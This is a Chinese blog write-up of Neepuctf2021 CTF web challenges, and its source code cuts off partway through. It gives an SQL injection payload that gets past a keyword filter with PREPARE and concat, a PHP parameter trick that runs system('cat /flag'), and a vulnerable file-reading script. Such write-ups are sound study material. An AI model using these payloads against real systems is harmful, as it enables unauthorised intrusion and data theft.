[Neepuctf2021]wp

本文详细记录了Neepuctf2021比赛中的一些难点,包括如何在限制条件下绕过过滤实现SQL注入,利用git泄露和PHP特性攻破系统,通过session反序列化读取文件并执行命令,以及最终的验证码爆破与权限提升过程。通过这些实例,展示了比赛中的安全挑战和解决方案。
摘要由CSDN通过智能技术生成

一个比较小众的比赛,是别学校的招新赛,不过也对外开放
记录一点有点难度的题

随便注2.0

是原题“[强网杯 2019]随便注”的变式,过滤的很多

return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\*| |	|\./i",$inject);

空格都可以用%0a绕过,但是rename被ban了,改名不能用了,set被过滤,预处理语句的set也不能用了,handle也不能用了,网上流传的这三个方法都不行了

看了wp才知道是这样绕过
用prepare与concat结合绕过
select用逗号,隔开

0';PREPARE%0cricky%0cfrom%0cconcat('sel','ect%0cflag%0cfrom%0c`@Neepu2021招新赛`');EXECUTE%0cricky;%23

有懈可击

  • git泄露
  • php特性,点和空格传值的时候会转化成下划线

f12看到测试账号,登入进后台
在这里插入图片描述
扫描后台有git泄露
找到了一个index.txt
在这里插入图片描述

里面唯一的php代码
在这里插入图片描述
传一个值给neepu_debug.mode,然后会执行这个命令

但是出现问题,php中,传值的时候,如果键名有点.,那么就会转化成下划线_
文档
在这里插入图片描述

绕过方法:
使用一个中括号,让他以为是数组
比如这题就可以这样绕过

?neepu[debug.mode=system('cat /flag');

Serialize

  • 任意文件读取
  • session反序列化
  • session_upload配合session反序列化

看他的请求里面有一个/functions/file.php?file=可以读取文件,这波直接拿到许多网页的源码

<?php
/**
 *	@author: Ricky
 *	@function: Read file
 *	@return string
 *	@param $filename string
 *  @param $dirname string
 **/

header('content-type:image/jpeg');
$filename = $_GET['file'];
$dirname = '/var/www/html/';
if(!preg_match('/^\/|\/$|\.\//', $filename)){
   
    $file = file_get_contents($dirname.$filename);
    echo $file;
} else{
   
    die('Read fail :(');
}

index.php

<?php
error_reporting(0);
include "config/backdoor.php";
ini_set('session.serialize_handler','php');
session_start();
class neepu {
   
    
  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

huamanggg

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值